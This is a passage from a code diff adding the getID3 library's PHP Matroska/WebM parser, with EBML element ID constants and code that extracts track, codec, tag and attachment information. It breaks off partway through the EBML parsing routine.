+define('EBML_ID_CHAPTERTRANSLATE',              0x2924); //         [69][24] -- A tuple of corresponding ID used by chapter codecs to represent this segment.
+define('EBML_ID_CHAPPROCESSDATA',               0x2933); //         [69][33] -- Contains the command information. The data should be interpreted depending on the ChapProcessCodecID value. For ChapProcessCodecID = 1, the data correspond to the binary DVD cell pre/post commands.
+define('EBML_ID_CHAPPROCESS',                   0x2944); //         [69][44] -- Contains all the commands associated to the Atom.
+define('EBML_ID_CHAPPROCESSCODECID',            0x2955); //         [69][55] -- Contains the type of the codec used for the processing. A value of 0 means native Matroska processing (to be defined), a value of 1 means the DVD command set is used. More codec IDs can be added later.
+define('EBML_ID_CHAPTERTRANSLATEID',            0x29A5); //         [69][A5] -- The binary value used to represent this segment in the chapter codec data. The format depends on the ChapProcessCodecID used.
+define('EBML_ID_CHAPTERTRANSLATECODEC',         0x29BF); //         [69][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu).
+define('EBML_ID_CHAPTERTRANSLATEEDITIONUID',    0x29FC); //         [69][FC] -- Specify an edition UID on which this correspondance applies. When not specified, it means for all editions found in the segment.
+define('EBML_ID_CONTENTENCODINGS',              0x2D80); //         [6D][80] -- Settings for several content encoding mechanisms like compression or encryption.
+define('EBML_ID_MINCACHE',                      0x2DE7); //         [6D][E7] -- The minimum number of frames a player should be able to cache during playback. If set to 0, the reference pseudo-cache system is not used.
+define('EBML_ID_MAXCACHE',                      0x2DF8); //         [6D][F8] -- The maximum cache size required to store referenced frames in and the current frame. 0 means no cache is needed.
+define('EBML_ID_CHAPTERSEGMENTUID',             0x2E67); //         [6E][67] -- A segment to play in place of this chapter. Edition ChapterSegmentEditionUID should be used for this segment, otherwise no edition is used.
+define('EBML_ID_CHAPTERSEGMENTEDITIONUID',      0x2EBC); //         [6E][BC] -- The edition to play from the segment linked in ChapterSegmentUID.
+define('EBML_ID_TRACKOVERLAY',                  0x2FAB); //         [6F][AB] -- Specify that this track is an overlay track for the Track specified (in the u-integer). That means when this track has a gap (see SilentTracks) the overlay track should be used instead. The order of multiple TrackOverlay matters, the first one is the one that should be used. If not found it should be the second, etc.
+define('EBML_ID_TAG',                           0x3373); //         [73][73] -- Element containing elements specific to Tracks/Chapters.
+define('EBML_ID_SEGMENTFILENAME',               0x3384); //         [73][84] -- A filename corresponding to this segment.
+define('EBML_ID_SEGMENTUID',                    0x33A4); //         [73][A4] -- A randomly generated unique ID to identify the current segment between many others (128 bits).
+define('EBML_ID_CHAPTERUID',                    0x33C4); //         [73][C4] -- A unique ID to identify the Chapter.
+define('EBML_ID_TRACKUID',                      0x33C5); //         [73][C5] -- A unique ID to identify the Track. This should be kept the same when making a direct stream copy of the Track to another file.
+define('EBML_ID_ATTACHMENTLINK',                0x3446); //         [74][46] -- The UID of an attachment that is used by this codec.
+define('EBML_ID_CLUSTERBLOCKADDITIONS',         0x35A1); //         [75][A1] -- Contain additional blocks to complete the main one. An EBML parser that has no knowledge of the Block structure could still see and use/skip these data.
+define('EBML_ID_CHANNELPOSITIONS',              0x347B); //         [7D][7B] -- Table of horizontal angles for each successive channel, see appendix.
+define('EBML_ID_OUTPUTSAMPLINGFREQUENCY',       0x38B5); //         [78][B5] -- Real output sampling frequency in Hz (used for SBR techniques).
+define('EBML_ID_TITLE',                         0x3BA9); //         [7B][A9] -- General name of the segment.
+define('EBML_ID_CHAPTERDISPLAY',                  0x00); //             [80] -- Contains all possible strings to use for the chapter display.
+define('EBML_ID_TRACKTYPE',                       0x03); //             [83] -- A set of track types coded on 8 bits (1: video, 2: audio, 3: complex, 0x10: logo, 0x11: subtitle, 0x12: buttons, 0x20: control).
+define('EBML_ID_CHAPSTRING',                      0x05); //             [85] -- Contains the string to use as the chapter atom.
+define('EBML_ID_CODECID',                         0x06); //             [86] -- An ID corresponding to the codec, see the codec page for more info.
+define('EBML_ID_FLAGDEFAULT',                     0x08); //             [88] -- Set if that track (audio, video or subs) SHOULD be used if no language found matches the user preference.
+define('EBML_ID_CHAPTERTRACKNUMBER',              0x09); //             [89] -- UID of the Track to apply this chapter too. In the absense of a control track, choosing this chapter will select the listed Tracks and deselect unlisted tracks. Absense of this element indicates that the Chapter should be applied to any currently used Tracks.
+define('EBML_ID_CLUSTERSLICES',                   0x0E); //             [8E] -- Contains slices description.
+define('EBML_ID_CHAPTERTRACK',                    0x0F); //             [8F] -- List of tracks on which the chapter applies. If this element is not present, all tracks apply
+define('EBML_ID_CHAPTERTIMESTART',                0x11); //             [91] -- Timecode of the start of Chapter (not scaled).
+define('EBML_ID_CHAPTERTIMEEND',                  0x12); //             [92] -- Timecode of the end of Chapter (timecode excluded, not scaled).
+define('EBML_ID_CUEREFTIME',                      0x16); //             [96] -- Timecode of the referenced Block.
+define('EBML_ID_CUEREFCLUSTER',                   0x17); //             [97] -- Position of the Cluster containing the referenced Block.
+define('EBML_ID_CHAPTERFLAGHIDDEN',               0x18); //             [98] -- If a chapter is hidden (1), it should not be available to the user interface (but still to Control Tracks).
+define('EBML_ID_FLAGINTERLACED',                  0x1A); //             [9A] -- Set if the video is interlaced.
+define('EBML_ID_CLUSTERBLOCKDURATION',            0x1B); //             [9B] -- The duration of the Block (based on TimecodeScale). This element is mandatory when DefaultDuration is set for the track. When not written and with no DefaultDuration, the value is assumed to be the difference between the timecode of this Block and the timecode of the next Block in "display" order (not coding order). This element can be useful at the end of a Track (as there is not other Block available), or when there is a break in a track like for subtitle tracks.
+define('EBML_ID_FLAGLACING',                      0x1C); //             [9C] -- Set if the track may contain blocks using lacing.
+define('EBML_ID_CHANNELS',                        0x1F); //             [9F] -- Numbers of channels in the track.
+define('EBML_ID_CLUSTERBLOCKGROUP',               0x20); //             [A0] -- Basic container of information containing a single Block or BlockVirtual, and information specific to that Block/VirtualBlock.
+define('EBML_ID_CLUSTERBLOCK',                    0x21); //             [A1] -- Block containing the actual data to be rendered and a timecode relative to the Cluster Timecode.
+define('EBML_ID_CLUSTERBLOCKVIRTUAL',             0x22); //             [A2] -- A Block with no data. It must be stored in the stream at the place the real Block should be in display order.
+define('EBML_ID_CLUSTERSIMPLEBLOCK',              0x23); //             [A3] -- Similar to Block but without all the extra information, mostly used to reduced overhead when no extra feature is needed.
+define('EBML_ID_CLUSTERCODECSTATE',               0x24); //             [A4] -- The new codec state to use. Data interpretation is private to the codec. This information should always be referenced by a seek entry.
+define('EBML_ID_CLUSTERBLOCKADDITIONAL',          0x25); //             [A5] -- Interpreted by the codec as it wishes (using the BlockAddID).
+define('EBML_ID_CLUSTERBLOCKMORE',                0x26); //             [A6] -- Contain the BlockAdditional and some parameters.
+define('EBML_ID_CLUSTERPOSITION',                 0x27); //             [A7] -- Position of the Cluster in the segment (0 in live broadcast streams). It might help to resynchronise offset on damaged streams.
+define('EBML_ID_CODECDECODEALL',                  0x2A); //             [AA] -- The codec can decode potentially damaged data.
+define('EBML_ID_CLUSTERPREVSIZE',                 0x2B); //             [AB] -- Size of the previous Cluster, in octets. Can be useful for backward playing.
+define('EBML_ID_TRACKENTRY',                      0x2E); //             [AE] -- Describes a track with all elements.
+define('EBML_ID_CLUSTERENCRYPTEDBLOCK',           0x2F); //             [AF] -- Similar to SimpleBlock but the data inside the Block are Transformed (encrypt and/or signed).
+define('EBML_ID_PIXELWIDTH',                      0x30); //             [B0] -- Width of the encoded video frames in pixels.
+define('EBML_ID_CUETIME',                         0x33); //             [B3] -- Absolute timecode according to the segment time base.
+define('EBML_ID_SAMPLINGFREQUENCY',               0x35); //             [B5] -- Sampling frequency in Hz.
+define('EBML_ID_CHAPTERATOM',                     0x36); //             [B6] -- Contains the atom information to use as the chapter atom (apply to all tracks).
+define('EBML_ID_CUETRACKPOSITIONS',               0x37); //             [B7] -- Contain positions for different tracks corresponding to the timecode.
+define('EBML_ID_FLAGENABLED',                     0x39); //             [B9] -- Set if the track is used.
+define('EBML_ID_PIXELHEIGHT',                     0x3A); //             [BA] -- Height of the encoded video frames in pixels.
+define('EBML_ID_CUEPOINT',                        0x3B); //             [BB] -- Contains all information relative to a seek point in the segment.
+define('EBML_ID_CRC32',                           0x3F); //             [BF] -- The CRC is computed on all the data of the Master element it's in, regardless of its position. It's recommended to put the CRC value at the beggining of the Master element for easier reading. All level 1 elements should include a CRC-32.
+define('EBML_ID_CLUSTERBLOCKADDITIONID',          0x4B); //             [CB] -- The ID of the BlockAdditional element (0 is the main Block).
+define('EBML_ID_CLUSTERLACENUMBER',               0x4C); //             [CC] -- The reverse number of the frame in the lace (0 is the last frame, 1 is the next to last, etc). While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback.
+define('EBML_ID_CLUSTERFRAMENUMBER',              0x4D); //             [CD] -- The number of the frame to generate from this lace with this delay (allow you to generate many frames from the same Block/Frame).
+define('EBML_ID_CLUSTERDELAY',                    0x4E); //             [CE] -- The (scaled) delay to apply to the element.
+define('EBML_ID_CLUSTERDURATION',                 0x4F); //             [CF] -- The (scaled) duration to apply to the element.
+define('EBML_ID_TRACKNUMBER',                     0x57); //             [D7] -- The track number as used in the Block Header (using more than 127 tracks is not encouraged, though the design allows an unlimited number).
+define('EBML_ID_CUEREFERENCE',                    0x5B); //             [DB] -- The Clusters containing the required referenced Blocks.
+define('EBML_ID_VIDEO',                           0x60); //             [E0] -- Video settings.
+define('EBML_ID_AUDIO',                           0x61); //             [E1] -- Audio settings.
+define('EBML_ID_CLUSTERTIMESLICE',                0x68); //             [E8] -- Contains extra time information about the data contained in the Block. While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback.
+define('EBML_ID_CUECODECSTATE',                   0x6A); //             [EA] -- The position of the Codec State corresponding to this Cue element. 0 means that the data is taken from the initial Track Entry.
+define('EBML_ID_CUEREFCODECSTATE',                0x6B); //             [EB] -- The position of the Codec State corresponding to this referenced element. 0 means that the data is taken from the initial Track Entry.
+define('EBML_ID_VOID',                            0x6C); //             [EC] -- Used to void damaged data, to avoid unexpected behaviors when using damaged data. The content is discarded. Also used to reserve space in a sub-element for later use.
+define('EBML_ID_CLUSTERTIMECODE',                 0x67); //             [E7] -- Absolute timecode of the cluster (based on TimecodeScale).
+define('EBML_ID_CLUSTERBLOCKADDID',               0x6E); //             [EE] -- An ID to identify the BlockAdditional level.
+define('EBML_ID_CUECLUSTERPOSITION',              0x71); //             [F1] -- The position of the Cluster containing the required Block.
+define('EBML_ID_CUETRACK',                        0x77); //             [F7] -- The track for which a position is given.
+define('EBML_ID_CLUSTERREFERENCEPRIORITY',        0x7A); //             [FA] -- This frame is referenced and has the specified cache priority. In cache only a frame of the same or higher priority can replace this frame. A value of 0 means the frame is not referenced.
+define('EBML_ID_CLUSTERREFERENCEBLOCK',           0x7B); //             [FB] -- Timecode of another frame used as a reference (ie: B or P frame). The timecode is relative to the block it's attached to.
+define('EBML_ID_CLUSTERREFERENCEVIRTUAL',         0x7D); //             [FD] -- Relative position of the data that should be in position of the virtual block.
+
+
+/**
+* @tutorial http://www.matroska.org/technical/specs/index.html
+*
+* @todo Rewrite EBML parser to reduce it's size and honor default element values
+* @todo After rewrite implement stream size calculation, that will provide additional useful info and enable AAC/FLAC audio bitrate detection
+*/
+class getid3_matroska extends getid3_handler
+{
+	// public options
+	public static $hide_clusters    = true;  // if true, do not return information about CLUSTER chunks, since there's a lot of them and they're not usually useful [default: TRUE]
+	public static $parse_whole_file = false; // true to parse the whole file, not only header [default: FALSE]
+
+	// private parser settings/placeholders
+	private $EBMLbuffer        = '';
+	private $EBMLbuffer_offset = 0;
+	private $EBMLbuffer_length = 0;
+	private $current_offset    = 0;
+	private $unuseful_elements = array(EBML_ID_CRC32, EBML_ID_VOID);
+
+	public function Analyze()
+	{
+		$info = &$this->getid3->info;
+
+		// parse container
+		try {
+			$this->parseEBML($info);
+		} catch (Exception $e) {
+			$info['error'][] = 'EBML parser: '.$e->getMessage();
+		}
+
+		// calculate playtime
+		if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) {
+			foreach ($info['matroska']['info'] as $key => $infoarray) {
+				if (isset($infoarray['Duration'])) {
+					// TimecodeScale is how many nanoseconds each Duration unit is
+					$info['playtime_seconds'] = $infoarray['Duration'] * ((isset($infoarray['TimecodeScale']) ? $infoarray['TimecodeScale'] : 1000000) / 1000000000);
+					break;
+				}
+			}
+		}
+
+		// extract tags
+		if (isset($info['matroska']['tags']) && is_array($info['matroska']['tags'])) {
+			foreach ($info['matroska']['tags'] as $key => $infoarray) {
+				$this->ExtractCommentsSimpleTag($infoarray);
+			}
+		}
+
+		// process tracks
+		if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) {
+			foreach ($info['matroska']['tracks']['tracks'] as $key => $trackarray) {
+
+				$track_info = array();
+				$track_info['dataformat'] = self::CodecIDtoCommonName($trackarray['CodecID']);
+				$track_info['default'] = (isset($trackarray['FlagDefault']) ? $trackarray['FlagDefault'] : true);
+				if (isset($trackarray['Name'])) { $track_info['name'] = $trackarray['Name']; }
+
+				switch ($trackarray['TrackType']) {
+
+					case 1: // Video
+						$track_info['resolution_x'] = $trackarray['PixelWidth'];
+						$track_info['resolution_y'] = $trackarray['PixelHeight'];
+						$track_info['display_unit'] = self::displayUnit(isset($trackarray['DisplayUnit']) ? $trackarray['DisplayUnit'] : 0);
+						$track_info['display_x']    = (isset($trackarray['DisplayWidth']) ? $trackarray['DisplayWidth'] : $trackarray['PixelWidth']);
+						$track_info['display_y']    = (isset($trackarray['DisplayHeight']) ? $trackarray['DisplayHeight'] : $trackarray['PixelHeight']);
+
+						if (isset($trackarray['PixelCropBottom'])) { $track_info['crop_bottom'] = $trackarray['PixelCropBottom']; }
+						if (isset($trackarray['PixelCropTop']))    { $track_info['crop_top']    = $trackarray['PixelCropTop']; }
+						if (isset($trackarray['PixelCropLeft']))   { $track_info['crop_left']   = $trackarray['PixelCropLeft']; }
+						if (isset($trackarray['PixelCropRight']))  { $track_info['crop_right']  = $trackarray['PixelCropRight']; }
+						if (isset($trackarray['DefaultDuration'])) { $track_info['frame_rate']  = round(1000000000 / $trackarray['DefaultDuration'], 3); }
+						if (isset($trackarray['CodecName']))       { $track_info['codec']       = $trackarray['CodecName']; }
+
+						switch ($trackarray['CodecID']) {
+							case 'V_MS/VFW/FOURCC':
+								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);
+
+								$parsed = getid3_riff::ParseBITMAPINFOHEADER($trackarray['CodecPrivate']);
+								$track_info['codec'] = getid3_riff::fourccLookup($parsed['fourcc']);
+								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed;
+								break;
+
+							/*case 'V_MPEG4/ISO/AVC':
+								$h264['profile']    = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 1, 1));
+								$h264['level']      = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 3, 1));
+								$rn                 = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 4, 1));
+								$h264['NALUlength'] = ($rn & 3) + 1;
+								$rn                 = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 5, 1));
+								$nsps               = ($rn & 31);
+								$offset             = 6;
+								for ($i = 0; $i < $nsps; $i ++) {
+									$length        = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2));
+									$h264['SPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length);
+									$offset       += 2 + $length;
+								}
+								$npps               = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 1));
+								$offset            += 1;
+								for ($i = 0; $i < $npps; $i ++) {
+									$length        = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2));
+									$h264['PPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length);
+									$offset       += 2 + $length;
+								}
+								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $h264;
+								break;*/
+						}
+
+						$info['video']['streams'][] = $track_info;
+						break;
+
+					case 2: // Audio
+						$track_info['sample_rate'] = (isset($trackarray['SamplingFrequency']) ? $trackarray['SamplingFrequency'] : 8000.0);
+						$track_info['channels']    = (isset($trackarray['Channels']) ? $trackarray['Channels'] : 1);
+						$track_info['language']    = (isset($trackarray['Language']) ? $trackarray['Language'] : 'eng');
+						if (isset($trackarray['BitDepth']))  { $track_info['bits_per_sample'] = $trackarray['BitDepth']; }
+						if (isset($trackarray['CodecName'])) { $track_info['codec']           = $trackarray['CodecName']; }
+
+						switch ($trackarray['CodecID']) {
+							case 'A_PCM/INT/LIT':
+							case 'A_PCM/INT/BIG':
+								$track_info['bitrate'] = $trackarray['SamplingFrequency'] * $trackarray['Channels'] * $trackarray['BitDepth'];
+								break;
+
+							case 'A_AC3':
+							case 'A_DTS':
+							case 'A_MPEG/L3':
+							case 'A_MPEG/L2':
+							case 'A_FLAC':
+								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.'.($track_info['dataformat'] == 'mp2' ? 'mp3' : $track_info['dataformat']).'.php', __FILE__, true);
+
+								if (!isset($info['matroska']['track_data_offsets'][$trackarray['TrackNumber']])) {
+									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because $info[matroska][track_data_offsets]['.$trackarray['TrackNumber'].'] not set');
+									break;
+								}
+
+								// create temp instance
+								$getid3_temp = new getID3();
+								if ($track_info['dataformat'] != 'flac') {
+									$getid3_temp->openfile($this->getid3->filename);
+								}
+								$getid3_temp->info['avdataoffset'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'];
+								if ($track_info['dataformat'][0] == 'm' || $track_info['dataformat'] == 'flac') {
+									$getid3_temp->info['avdataend'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'] + $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['length'];
+								}
+
+								// analyze
+								$class = 'getid3_'.($track_info['dataformat'] == 'mp2' ? 'mp3' : $track_info['dataformat']);
+								$header_data_key = $track_info['dataformat'][0] == 'm' ? 'mpeg' : $track_info['dataformat'];
+								$getid3_audio = new $class($getid3_temp, __CLASS__);
+								if ($track_info['dataformat'] == 'flac') {
+									$getid3_audio->AnalyzeString($trackarray['CodecPrivate']);
+								}
+								else {
+									$getid3_audio->Analyze();
+								}
+								if (!empty($getid3_temp->info[$header_data_key])) {
+									$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info[$header_data_key];
+									if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) {
+										foreach ($getid3_temp->info['audio'] as $key => $value) {
+											$track_info[$key] = $value;
+										}
+									}
+								}
+								else {
+									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because '.$class.'::Analyze() failed at offset '.$getid3_temp->info['avdataoffset']);
+								}
+
+								// copy errors and warnings
+								if (!empty($getid3_temp->info['error'])) {
+									foreach ($getid3_temp->info['error'] as $newerror) {
+										$this->warning($class.'() says: ['.$newerror.']');
+									}
+								}
+								if (!empty($getid3_temp->info['warning'])) {
+									foreach ($getid3_temp->info['warning'] as $newerror) {
+										$this->warning($class.'() says: ['.$newerror.']');
+									}
+								}
+								unset($getid3_temp, $getid3_audio);
+								break;
+
+							case 'A_AAC':
+							case 'A_AAC/MPEG2/LC':
+							case 'A_AAC/MPEG2/LC/SBR':
+							case 'A_AAC/MPEG4/LC':
+							case 'A_AAC/MPEG4/LC/SBR':
+								$this->warning($trackarray['CodecID'].' audio data contains no header, audio/video bitrates can\'t be calculated');
+								break;
+
+							case 'A_VORBIS':
+								if (!isset($trackarray['CodecPrivate'])) {
+									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data not set');
+									break;
+								}
+								$vorbis_offset = strpos($trackarray['CodecPrivate'], 'vorbis', 1);
+								if ($vorbis_offset === false) {
+									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data does not contain "vorbis" keyword');
+									break;
+								}
+								$vorbis_offset -= 1;
+
+								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);
+
+								// create temp instance
+								$getid3_temp = new getID3();
+
+								// analyze
+								$getid3_ogg = new getid3_ogg($getid3_temp);
+								$oggpageinfo['page_seqno'] = 0;
+								$getid3_ogg->ParseVorbisPageHeader($trackarray['CodecPrivate'], $vorbis_offset, $oggpageinfo);
+								if (!empty($getid3_temp->info['ogg'])) {
+									$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info['ogg'];
+									if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) {
+										foreach ($getid3_temp->info['audio'] as $key => $value) {
+											$track_info[$key] = $value;
+										}
+									}
+								}
+
+								// copy errors and warnings
+								if (!empty($getid3_temp->info['error'])) {
+									foreach ($getid3_temp->info['error'] as $newerror) {
+										$this->warning('getid3_ogg() says: ['.$newerror.']');
+									}
+								}
+								if (!empty($getid3_temp->info['warning'])) {
+									foreach ($getid3_temp->info['warning'] as $newerror) {
+										$this->warning('getid3_ogg() says: ['.$newerror.']');
+									}
+								}
+
+								if (!empty($getid3_temp->info['ogg']['bitrate_nominal'])) {
+									$track_info['bitrate'] = $getid3_temp->info['ogg']['bitrate_nominal'];
+								}
+								unset($getid3_temp, $getid3_ogg, $oggpageinfo, $vorbis_offset);
+								break;
+
+							case 'A_MS/ACM':
+								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);
+
+								$parsed = getid3_riff::parseWAVEFORMATex($trackarray['CodecPrivate']);
+								foreach ($parsed as $key => $value) {
+									if ($key != 'raw') {
+										$track_info[$key] = $value;
+									}
+								}
+								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed;
+								break;
+
+							default:
+								$this->warning('Unhandled audio type "'.(isset($trackarray['CodecID']) ? $trackarray['CodecID'] : '').'"');
+						}
+
+						$info['audio']['streams'][] = $track_info;
+						break;
+				}
+			}
+
+			if (!empty($info['video']['streams'])) {
+				$info['video'] = self::getDefaultStreamInfo($info['video']['streams']);
+			}
+			if (!empty($info['audio']['streams'])) {
+				$info['audio'] = self::getDefaultStreamInfo($info['audio']['streams']);
+			}
+		}
+
+		// process attachments
+		if (isset($info['matroska']['attachments']) && $this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE) {
+			foreach ($info['matroska']['attachments'] as $i => $entry) {
+				if (strpos($entry['FileMimeType'], 'image/') === 0 && !empty($entry['FileData'])) {
+					$info['matroska']['comments']['picture'][] = array('data' => $entry['FileData'], 'image_mime' => $entry['FileMimeType'], 'filename' => $entry['FileName']);
+				}
+			}
+		}
+
+		// determine mime type
+		if (!empty($info['video']['streams'])) {
+			$info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'video/webm' : 'video/x-matroska');
+		} elseif (!empty($info['audio']['streams'])) {
+			$info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'audio/webm' : 'audio/x-matroska');
+		} elseif (isset($info['mime_type'])) {
+			unset($info['mime_type']);
+		}
+
+		return true;
+	}
+
+	private function parseEBML(&$info) {
+		// http://www.matroska.org/technical/specs/index.html#EBMLBasics
+		$this->current_offset = $info['avdataoffset'];
+
+		while ($this->getEBMLelement($top_element, $info['avdataend'])) {
+			switch ($top_element['id']) {
+
+				case EBML_ID_EBML:
+					$info['matroska']['header']['offset'] = $top_element['offset'];
+					$info['matroska']['header']['length'] = $top_element['length'];
+
+					while ($this->getEBMLelement($element_data, $top_element['end'], true)) {
+						switch ($element_data['id']) {
+
+							case EBML_ID_EBMLVERSION:
+							case EBML_ID_EBMLREADVERSION:
+							case EBML_ID_EBMLMAXIDLENGTH:
+							case EBML_ID_EBMLMAXSIZELENGTH:
+							case EBML_ID_DOCTYPEVERSION:
+							case EBML_ID_DOCTYPEREADVERSION:
+								$element_data['data'] = getid3_lib::BigEndian2Int($element_data['data']);
+								break;
+
+							case EBML_ID_DOCTYPE:
+								$element_data['data'] = getid3_lib::trimNullByte($element_data['data']);
+								$info['matroska']['doctype'] = $element_data['data'];
+								$info['fileformat'] = $element_data['data'];
+								break;
+
+							default:
+								$this->unhandledElement('header', __LINE__, $element_data);
+						}
+
+						unset($element_data['offset'], $element_data['end']);
+						$info['matroska']['header']['elements'][] = $element_data;
+					}
+					break;
+
+				case EBML_ID_SEGMENT:
+					$info['matroska']['segment'][0]['offset'] = $top_element['offset'];
+					$info['matroska']['segment'][0]['length'] = $top_element['length'];
+
+					while ($this->getEBMLelement($element_data, $top_element['end'])) {
+						if ($element_data['id'] != EBML_ID_CLUSTER || !self::$hide_clusters) { // collect clusters only if required
+							$info['matroska']['segments'][] = $element_data;
+						}
+						switch ($element_data['id']) {
+
+							case EBML_ID_SEEKHEAD: // Contains the position of other level 1 elements.
+
+								while ($this->getEBMLelement($seek_entry, $element_data['end'])) {
+									switch ($seek_entry['id']) {
+
+										case EBML_ID_SEEK: // Contains a single seek entry to an EBML element
+											while ($this->getEBMLelement($sub_seek_entry, $seek_entry['end'], true)) {
+
+												switch ($sub_seek_entry['id']) {
+
+													case EBML_ID_SEEKID:
+														$seek_entry['target_id']   = self::EBML2Int($sub_seek_entry['data']);
+														$seek_entry['target_name'] = self::EBMLidName($seek_entry['target_id']);
+														break;
+
+													case EBML_ID_SEEKPOSITION:
+														$seek_entry['target_offset'] = $element_data['offset'] + getid3_lib::BigEndian2Int($sub_seek_entry['data']);
+														break;
+
+													default:
+														$this->unhandledElement('seekhead.seek', __LINE__, $sub_seek_entry);												}
+											}
+
+											if ($seek_entry['target_id'] != EBML_ID_CLUSTER || !self::$hide_clusters) { // collect clusters only if required
+												$info['matroska']['seek'][] = $seek_entry;
+											}
+											break;
+
+										default:
+											$this->unhandledElement('seekhead', __LINE__, $seek_entry);
+									}
+								}
+								break;
+
+							case EBML_ID_TRACKS: // A top-level block of information with many tracks described.
+								$info['matroska']['tracks'] = $element_data;
+
+								while ($this->getEBMLelement($track_entry, $element_data['end'])) {
+									switch ($track_entry['id']) {
+
+										case EBML_ID_TRACKENTRY: //subelements: Describes a track with all elements.
+
+											while ($this->getEBMLelement($subelement, $track_entry['end'], array(EBML_ID_VIDEO, EBML_ID_AUDIO, EBML_ID_CONTENTENCODINGS, EBML_ID_CODECPRIVATE))) {
+												switch ($subelement['id']) {
+
+													case EBML_ID_TRACKNUMBER:
+													case EBML_ID_TRACKUID:
+													case EBML_ID_TRACKTYPE:
+													case EBML_ID_MINCACHE:
+													case EBML_ID_MAXCACHE:
+													case EBML_ID_MAXBLOCKADDITIONID:
+													case EBML_ID_DEFAULTDURATION: // nanoseconds per frame
+														$track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
+														break;
+
+													case EBML_ID_TRACKTIMECODESCALE:
+														$track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']);
+														break;
+
+													case EBML_ID_CODECID:
+													case EBML_ID_LANGUAGE:
+													case EBML_ID_NAME:
+													case EBML_ID_CODECNAME:
+														$track_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
+														break;
+
+													case EBML_ID_CODECPRIVATE:
+														$track_entry[$subelement['id_name']] = $this->readEBMLelementData($subelement['length'], true);
+														break;
+
+													case EBML_ID_FLAGENABLED:
+													case EBML_ID_FLAGDEFAULT:
+													case EBML_ID_FLAGFORCED:
+													case EBML_ID_FLAGLACING:
+													case EBML_ID_CODECDECODEALL:
+														$track_entry[$subelement['id_name']] = (bool) getid3_lib::BigEndian2Int($subelement['data']);
+														break;
+
+													case EBML_ID_VIDEO:
+
+														while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
+															switch ($sub_subelement['id']) {
+
+																case EBML_ID_PIXELWIDTH:
+																case EBML_ID_PIXELHEIGHT:
+																case EBML_ID_PIXELCROPBOTTOM:
+																case EBML_ID_PIXELCROPTOP:
+																case EBML_ID_PIXELCROPLEFT:
+																case EBML_ID_PIXELCROPRIGHT:
+																case EBML_ID_DISPLAYWIDTH:
+																case EBML_ID_DISPLAYHEIGHT:
+																case EBML_ID_DISPLAYUNIT:
+																case EBML_ID_ASPECTRATIOTYPE:
+																case EBML_ID_STEREOMODE:
+																case EBML_ID_OLDSTEREOMODE:
+																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+																	break;
+
+																case EBML_ID_FLAGINTERLACED:
+																	$track_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']);
+																	break;
+
+																case EBML_ID_GAMMAVALUE:
+																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']);
+																	break;
+
+																case EBML_ID_COLOURSPACE:
+																	$track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
+																	break;
+
+																default:
+																	$this->unhandledElement('track.video', __LINE__, $sub_subelement);
+															}
+														}
+														break;
+
+													case EBML_ID_AUDIO:
+
+														while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
+															switch ($sub_subelement['id']) {
+
+																case EBML_ID_CHANNELS:
+																case EBML_ID_BITDEPTH:
+																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+																	break;
+
+																case EBML_ID_SAMPLINGFREQUENCY:
+																case EBML_ID_OUTPUTSAMPLINGFREQUENCY:
+																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']);
+																	break;
+
+																case EBML_ID_CHANNELPOSITIONS:
+																	$track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
+																	break;
+
+																default:
